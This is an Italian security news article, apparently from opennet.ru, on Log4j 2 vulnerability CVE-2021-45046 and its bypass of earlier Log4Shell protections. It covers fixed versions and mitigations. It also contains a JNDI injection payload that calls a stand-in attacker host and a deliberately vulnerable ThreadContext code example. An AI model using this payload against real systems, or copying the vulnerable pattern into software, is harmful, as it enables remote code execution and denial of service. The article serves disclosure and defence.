È stata identificata un'altra vulnerabilità nell'implementazione delle sostituzioni JNDI nella libreria Log4j 2 (CVE-2021-45046), che si manifesta nonostante le correzioni incluse nella versione 2.15 e indipendentemente dall'uso della configurazione «log4j2.noFormatMsgLookup» per la protezione. Il problema rappresenta un rischio principalmente per le vecchie versioni di Log4j 2 protette dal flag «noFormatMsgLookup», poiché consente di eludere la protezione contro la precedente vulnerabilità (Log4Shell, CVE-2021-44228), che permette di eseguire codice arbitrario sul server. Per gli utenti della versione 2.15, lo sfruttamento è limitato a creare condizioni per il crash dell'applicazione a causa dell'esaurimento delle risorse disponibili.
La vulnerabilità si manifesta solo sui sistemi in cui si utilizzano richieste contestuali (Context Lookup) nella registrazione, come ${ctx:loginId}, o schemi MDC (Thread Context Map), ad esempio %X, %mdc e %MDC. Lo sfruttamento consiste nel creare condizioni per la registrazione di dati contenenti sostituzioni JNDI quando vengono utilizzate richieste contestuali o schemi MDC che determinano le regole di formattazione dell'output nel log.
I ricercatori di LunaSec hanno osservato che per le versioni di Log4j inferiori a 2.15, questa vulnerabilità può essere utilizzata come un nuovo vettore per l'attacco Log4Shell, portando all'esecuzione di codice, se durante la registrazione vengono utilizzate espressioni ThreadContext contenenti dati esterni, indipendentemente dall'attivazione del flag di protezione «noMsgFormatLookups» o del modello «%m{nolookups}».
La vulnerabilità si basa sul fatto che, anziché una sostituzione diretta di «${jndi:ldap://attacker.com/a}», questa espressione viene inserita tramite il valore di una variabile intermedia utilizzata nelle regole di formattazione dell'output nei log. Ad esempio, se nel logging viene utilizzata la richiesta contestuale ${ctx:apiversion}, l'attacco può essere condotto inserendo i dati «${jndi:ldap://attacker.com/a}» nel valore memorizzato nella variabile apiversion. Esempio di codice vulnerabile: appender.console.layout.pattern = ${ctx:apiversion} — %d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L — %m%n @GetMapping(«/») public String index(@RequestHeader(«X-Api-Version») String apiVersion) { // Il valore dell'intestazione HTTP «X-Api-Version» viene passato in ThreadContext ThreadContext.put(«apiversion», apiVersion); // Durante il logging, il valore esterno di apiversion sarà trattato tramite la sostituzione ${ctx:apiversion} logger.info(«Received a request for API version»); return «Hello, world!»; }
Nella versione Log4j 2.15, la vulnerabilità può essere sfruttata per eseguire attacchi DoS passando a ThreadContext valori che causano un ciclo infinito nell'elaborazione del modello di formattazione dell'output.
Per bloccare le vulnerabilità sono stati pubblicati gli aggiornamenti 2.16 e 2.12.2. Nella versione Log4j 2.16, oltre alle correzioni implementate nella versione 2.15 e al legame delle richieste JNDI LDAP a «localhost», la funzionalità JNDI è completamente disabilitata per impostazione predefinita e il supporto per i modelli di sostituzione dei messaggi è stato rimosso. Come soluzione alternativa per la protezione, si consiglia di rimuovere la classe JndiLookup dal classpath (ad esempio, «zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class»).
È possibile monitorare l'apparizione delle correzioni nei pacchetti sulle pagine dei distributori (Debian, Ubuntu, RHEL, SUSE, Fedora, Arch) e dei produttori delle piattaforme Java (GitHub, Docker, Oracle, vmWare, Broadcom e Amazon/AWS, Juniper, VMware, Cisco, IBM, Red Hat, MongoDB, Okta, SolarWinds, Symantec, McAfee, SonicWall, FortiGuard, Ubiquiti, F-Secure, ecc.).
Fonte: opennet.ru
